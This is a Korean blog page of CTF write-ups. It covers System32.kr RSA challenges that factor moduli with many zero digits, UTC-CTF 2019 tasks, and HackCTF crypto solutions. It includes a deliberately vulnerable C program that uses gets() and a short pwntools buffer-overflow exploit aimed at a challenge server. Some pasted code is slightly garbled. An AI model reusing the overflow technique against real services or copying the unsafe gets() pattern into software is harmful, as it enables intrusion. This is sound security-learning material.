반응형
반응형
반응형

System32.kr

RSA108 풀이

 

rsa107문제랑 거의 똑같다.

n값을 base-16 hex로 보면 rsa107문제처럼 중간에 0이 많이 있다.

000...000을 기준으로 앞 뒤 잘라서 factor을 찾으면

이렇게 나온다.

저 공통인수를 p로 두고 n/p 로 q를 구할 수 있다.

p랑 q 구했으니 d구해서 c 복호화하면 끝.

반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [RSA107] 풀이  (0) 2021.01.18
System32.kr [EZB64] 풀이  (0) 2019.12.28
System32.kr [RSA106] 풀이  (0) 2019.05.19
System32.kr [RSA104] 풀이  (0) 2019.05.19
System32.kr [RSA105] 풀이  (0) 2019.05.19
반응형

System32.kr

RSA107 풀이

 

간만에 system32.kr 문제를 풀었다.

 

보면 모듈러 n 중간에 많은 0이 특징이다.

 

 

rsa 문제 풀이들을 찾아보다가

 

ctftime.org/writeup/22977

 

CTFtime.org / Crypto CTF 2020 / Decent RSA / Writeup

Tags: polynomials rsa  Rating: 4.5

ctftime.org

이런 풀이인가 싶었는데, 여기 풀이는 n값이 대부분 0으로 구성되었을 때였다.

 

그러다가 포스트 하나를 찾았다.

party4bread.github.io/a-year-of-ctf-rsa/#pq%EC%97%90-0%EC%9D%B4-%EB%A7%8E%EC%9D%84-%EA%B2%BD%EC%9A%B0

 

A year of CTF RSA | Haven 4 BREAD

1년정도 CTF 뉴비로 있으면서 (아직도 뉴비지만) 겪었던 RSA 문제들의 유형을 대략 정리했습니다.

party4bread.github.io

오 출제자님 블로그

 

 

1234..00000000...1234 이런 식으로 구성되어 있으면 p나 q중에 하나는 100000...00 + z 형태를 취하고 있을 가능성이 높다.

 

따라서 n값을 0000...000을 기준으로 큰 부분을 a로 두고

작은 부분을 b로 두어 b/a를 계산하였더니 나누어 떨어졌다.

 

p = 1000...0000 + 961

이렇게 p와 q를 구할 수 있다.

반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [RSA108] 풀이  (0) 2021.01.19
System32.kr [EZB64] 풀이  (0) 2019.12.28
System32.kr [RSA106] 풀이  (0) 2019.05.19
System32.kr [RSA104] 풀이  (0) 2019.05.19
System32.kr [RSA105] 풀이  (0) 2019.05.19
반응형

https://ctftime.org/event/948

 

UTC-CTF 2019 Teaser

금요일, 20 12월 2019, 23:00 UTC — 토요일, 21 12월 2019, 23:00 UTC  On-line A UTC-CTF event. Format: Jeopardy  Official URL: https://utc-ctf.club/ Future weight: 0.00  Rating weight: 0.00  Event organizers 

ctftime.org


PWN

Simple bof (baby)

Want to learn the hacker's secret? Try to smash this buffer!

You need guidance? Look no further than to Mr. Liveoverflow. He puts out nice videos you should look if you haven't already

By: theKidOfArcrania

nc chal.utc-ctf.club 35235

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
 
void print_flag();
 
void vuln() {
  char padding[16];
  char buff[32];
  int notsecret = 0xffffff00;
  int secret = 0xdeadbeef;
 
  memset(buff, 0sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFFsizeof(padding)); // Zero-out the padding.
 
  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff); 
 
  // Prints out the stack before modification
  visualize(buff);
 
  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!
 
  // Prints out the stack after modification
  visualize(buff); 
 
  // Check if secret has changed.
  if (secret == 0x67616c66) {
    puts("You did it! Congratuations!");
    print_flag(); // Print out the flag. You deserve it.
    return;
  } else if (notsecret != 0xffffff00) {
    puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
  } else if (secret != 0xdeadbeef) {
    puts("Wow you overflowed the secret value! Now try controlling the value of it!");
  } else {
    puts("Maybe you haven't overflowed enough characters? Try again?");
  }
 
  exit(0);
}
 
int main() {
  safeguard();
  vuln();
}
 
cs

 

정말 친절한 bof 문제다..

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("chal.utc-ctf.club"35235)
 
= 0x67616c66
payload = "A"*48 + p32(a)
 
p.recvuntil("Input some text: ")
p.sendline(payload)
p.interactive()
cs

 

 

FLAG : utc{buffer_0verflows_4re_c00l!}

 

 


Crypto

 

RSAcue [not solved]

I heard you like to RSAcue the world. There we go

By: knapstack

 

 

공개키로 publickey.pem이 주어졌다.

 

여기서 n값을 구해내보자! (openssl)

https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key

 

RSA: Get exponent and modulus given a public key

I need to encrypt some data using RSA in JavaScript. All of the libraries around ask for an exponent and a modulus, yet I get a single public.key file from my opponent. How do you retrieve the pu...

stackoverflow.com

 

깔끔하게 보는 방법도 나와 있다.

 

 

 

 


MISC

 

 

Optics 1 (baby)

 

I dropped out of my physics class due to boring optical theory. I joined Forensics class thereafter. But, I found Optics there too. Help me clear this class :facepalm:

By: knapstack

 

 

png 파일이 하나 주어지는데, 열려고 하면 열리지 않는다.

 

Hxd로 열어보면 header signuature가 잘못 설정되어 있는 것을 알 수 있다.

 

0x1~0x3이 LOL로 되어 있는데 이를 PNG로 바꿔주면 파일이 정상적으로 열린다.

0x50 0x4e 0x47

 

QR코드 이미지가 나오는데, 이를 스캔해주면 flag가 나온다.

 

 

FLAG: utc{dang_you_know_qr_decoding_and_shit}

 


Sanity Check

 

Join our discord and get a free flag.

 

 

와 공짜 플래그

 

FLAG : utc{whats_discord_lol}

 


REVERSING

 

Strings (baby)

 

Itz not giving me flag...

GIMMME THE FLAG

By: theKidOfArcrania

 

 

strings 라는 파일이 주어진다.

 

 

HxD로 열어보면 ELF 헤더 시그니쳐를 확인 할 수 있다.

Open with HxD, you can find ELF header signature.

So, this file's format is ELF.

 

 

 

 

 

그리고 exeinfo PE를 통해 64bit elf 라는 것도 알 수 있다.

 

 

64bit elf 파일이기 때문에, ida 64bit로 연다.

 

문제 제목이 strings이기 때문에, 문자열들을 확인해 주면 된다.

Check out strings!

 

 

main함수에는 fake flag가 있다.

you can find fake flag in main FUNC.

 

 

 

 

real flag는 여기서 찾을 수 있다.

Real flag is in here!

 

 

FLAG : utc{that_waz_ezpz}


 

 

 

 

 

 

 

 

반응형
반응형

Basic RSA (100pt)

 

 

#### PUBLIC KEY ####
e : 925
n : 119401
#### PRIVATE KEY ####
d : 29569
#### ENCODED MESSAGE ####
m : 26018
====================

 

비밀키랑 암호화된 메세지를 준다.

 

rsa 복호화 방법인 modular exponentiation으로 풀면 된다. 나온 값을 문자로 변환해서 보내면 된다.

 

스테이지 수가 많은데, 개수가 정해지지 않은 것 같다. 한 30스테이지까지 돌도록 해서 여러번 돌려주면 플래그를 얻을 수 있다.

 

중간에 오류나는 경우도 있었는데, 다시 돌려서 해당 경우에 안걸리면 된다.

 

 

 

 

 

풀이자가 적어서.. 많아지면 풀이 코드를 올리겠습니다.

반응형
반응형

Great Binary 50

주어진 파일을 열어보면 바이너리가 적혀있다.

아래 사이트를 이용해 아스키로 변환하면 끝.

https://www.branah.com/ascii-converter

 

ASCII Converter - Hex, decimal, binary, base64, and ASCII converter

Convert ASCII characters to their hex, decimal and binary representations and vice versa. In addition, base64 encode/decode binary data. The converter happens automatically.

www.branah.com

HackCTF{crypto_v2ry_easy_pr0b1em}

 

 

Smooth CipherText 100

Rijvsmysmysmy Itovwyrc! Ns wyy ixsu Glm kq G? wc lkqc sw qwsmdlkkr sr...M ixsu fipi acvp urer iss geld! Md iss mel niastfov rrmq mvwzxmqvyw, cme gyx kcd xfo gmbvcmx yxwuov. qy, jjkk gc LymoADJ{t_tzwi_3vxbd0p3_vff.afy'q_wzoxpq_dp_qfz}

 

LymoADJ == HackCTF

m과 a가 C에 중복으로 대응되는 것으로 보아, 카이사르는 아니다. 그래서 비제네르로 돌려봤다.

본문 key = key

플래그 key = n

 

 

Classic Cipher -1 100

Hint : [::-1]

?y4zl4J_d0ur_b0f_0K zp nhsm

 

[::-1] 은 reverse. 즉 글자 순서를 뒤바꿔주면 된다.

그 다음에 카이사르를 돌리니 플래그가 나왔다.

 

HackCTF{D0_y0u_kn0w_C4es4r?}

 

 

RSA

200

RSA 알고리즘을 이용하여 값을 해독해보자! 
파일에 나와있는 c, p, q, e 는 RSA 대한 파라미터 값이다. 

 

p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483

q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407

e = 65537

c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

 

https://mandu-mandu.tistory.com/110 이 글에 나온 방법대로 따라하면 된다.

그러면 값이 12058e43d9e0c22559c19774 가 나오는데, 이를 10진수로 변환해서 플래그 인증하면 된다.

 

Classic Cipher -3

200

 

 

RSA2

200

(n, c) = 675517326695494061190287679557796696358902817969424171685361, 0xe3712876ea77c308083ef596a32c5ce2d7edf22abbc58657e

 

 

n 을 소인수분해 하여 p와 q를 구한다.

https://www.alpertron.com.ar/ECM.HTM

 

 

 

e를 65537 기본으로 잡고 복호화.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def egcd(a, b):
    x,y, u,v = 0,11,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y
 
def main():
 
    p = 804811499343607200702893651293
    q = 839348502408870119614692320677
    e = 65537
    ct = 0xe3712876ea77c308083ef596a32c5ce2d7edf22abbc58657e
 
    # compute n
    n = p * q
 
    # Compute phi(n)
    phi = (p - 1* (q - 1)
 
    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a
 
    print"d:  " + str(d) );
 
    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print"pt: " + str(pt) )
 
if __name__ == "__main__":
    main()
 
cs

 

pt = plain text

평문값을 hex로 변환한 뒤에 ascii로 바꾸면 flag가 나온다.

 

 

 

 

 

RSA3

250

n = 10283681839193276126097189449431804469761940095295471888398234447479454966284763902940257262270896218602885591849219329295416054197234326881779747263501982465102957508563705432633950651360492963151374387619070656704554971992649022858286686244477458518219811343940208016922937570643216329114427596008380607613093481777894261584227765149699743645734317383348201997748556656749211035951710759363655486663011079526697122026161182876988679088458171192764980121987583057238040415225285169219391637708267493561674900564748140379192079752942242600521017002960185256025253900075152690586476143729320416895984549165574371936823

c = 0x5c93ba85692a8b3981a5d47be0e80d129b8a2f6cf4dc134547aa7e1620f6691513b1dc1d69e085c39e261c2b49026436bb243dba70a86f7fcd1a3a7e6b0f0ecfac015becad0a76e9cf208d5d31e2b4865

e = 3

 

 

n은 매우 크고 e는 매우 작다.

 

c = m^e mod n = m^e

 

HelloCryto

350

key 길이는 14

flag 앞에는 HackCTF{ 인 것을 알고 있으니 key 14자리중 8자리 알아낼 수 있고

메세지 뒤에 key값이 붙은 것이 다시 key 앞에 8자리랑 연산을 하니 key 뒷자리도 알아낼 수 있음.

 

 

 

XOR

400

 

 

역연산돌리자

 

반응형

'WAR GAME > HackCTF' 카테고리의 다른 글

HackCTF Reversing 카테고리 풀이  (0) 2019.08.29
HackCTF Pwnable [Basic_BOF #1] 풀이  (0) 2019.07.24
HackCTF Forensics 카테고리 풀이  (0) 2019.07.20
HackCTF MISC 카테고리 풀이  (0) 2019.07.18
HackCTF Web 카테고리 풀이  (0) 2019.07.18
반응형

files  Crypto  RSA  RSA101


system32.kr의 rsa101 풀이입니다.



문제내용입니다.


p : 11820547749265118607908336189140061659994883367758644383099900753008997316272341754974105712436833864387373302687964986221522289414610698068230842231006759

q : 2076478388690715447644222392295584753007140199740835763821170999934221864895193172716587341806099928941239417181782165665806324184552950128351328886814107

e : 65537

c : 15175007508230661949213125841853820919948368859221761481847700530363990883761097704372435675552656459480039957857925187102590466676354015036181849182155680399350099015532296504916485091012255771133872737687990897080899160898509685794777509104691093814282101492973637294053730555124794841034604131492169339102


p, q, e를 이용해 개인키를 생성하고 c를 복호화 하면 될 것으로 보입니다.



rsatool.py를 이용해 개인키를 생성했습니다.


python rsatool.py -p 11820547749265118607908336189140061659994883367758644383099900753008997316272341754974105712436833864387373302687964986221522289414610698068230842231006759 -q 2076478388690715447644222392295584753007140199740835763821170999934221864895193172716587341806099928941239417181782165665806324184552950128351328886814107 -o private.pem


Using (p, q) to initialise RSA instance

n =

22f411ffb9af2f9a00c69a748d13175e23c56414b7b89ca0f3664e94960b5a144933f0ec92dbe2f9

b302d356c9f05a05cd7529bdb5a0e1ac3bbc0acc06d5847335114e0436090c829515321173e4eb44

ad5d538f4333981c7518ad2e8909372be0b0a1438026ac91ac66a6e7ab5974ea20e7423a63de228b

5ca70d0fc26a6c9d


e = 65537 (0x10001)


d =

1bb6e2be9d806681f9b37fac825f6cdbdc091b3dc21ec3326b4be76ab13df702b6b85483803e914d

e3be8dcbf6fa78a6b92df916cef8ed771f360e698fd1a4ded205086eff52626529cd3394508ae2cb

cd7d5f96f25b1212b4752232cb01ebc6cd85a2fc621c16905dce7c415a3336fe8bb98a3f9f1eda26

2a5589f531803091


p =

e1b1a243eff5356b26ffa41b8ad3b2781fcd81d148cf921ab2c31e3adc78108ff3fd25667e661634

3769a8271bada71d0284aa224397f5f4db3a7cde8fcfa627


q =

27a59d6cb8c26315b6f1f572e28c6d3e372a44ebfb5db7279502e608661851e644cde326e615338e

a426774b568f7b070f7cacd1b5c05339ecb468e292d7759b


Saving PEM as private.pem


e는 값을 자동으로 잡아주었네요 ㅇㅅㅇ



이제 생성된 private.pem을 가지고 openssl을 이용해 c를 복호화 하면 되나.... 자꾸 오류가 나서 온라인 복호화툴을 이용하겠습니다... :(


제가 복호화에 이용한 사이트입니다 : http://extranet.cryptomathic.com/rsacalc/index



위에 표시된 n, d, e를 차례로 입력해줍니다.

input data에는 c값을 입력해 주면 되는데, hex값으로 넣어달라고 하기 때문에.. hex로 변환해주어야 합니다.


이 과정도 온라인 툴의 도움을... : https://www.mobilefish.com/services/big_number/big_number.php



변환하면 이런 값이 나옵니다.


159C243DE63E52D8C6F5F37040A43788061847824AADCFC8B26DA05992C5C3DD5D344915F69DCE6961BD199761962CF706BF7D93CA1DC941C42F5302FF1A8F8853A20C591F2C28266502377710B66B44B8701BE4D1A471D0136FCF8BD3EA1813D4BB2C3D6A7C9C9A7A5B2148E52AA386C29887934F53A89F73CD467B3D4950DE



이 값을 input data란에 채워주고 decrypt에 체크한후 calculate해주면 복호화된 값이 출력됩니다.


464c41477b77336c63306d653273797374656d33325f5253415f6330757273657d



이 값도 hex이기 때문에 string형태로 바꿔주겠습니다. https://codebeautify.org/hex-string-converter




FLAG : FLAG{w3lc0me2system32_RSA_c0urse}




반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [BigImage] 풀이  (0) 2018.08.31
System32.kr [PPT] 풀이  (3) 2018.07.29
System32.kr [HardCrypto] 풀이  (0) 2018.07.29
System32.kr [Easy Crypto] 풀이  (0) 2018.07.29
System32.kr [RSA102] 풀이  (0) 2018.07.29

+ Recent posts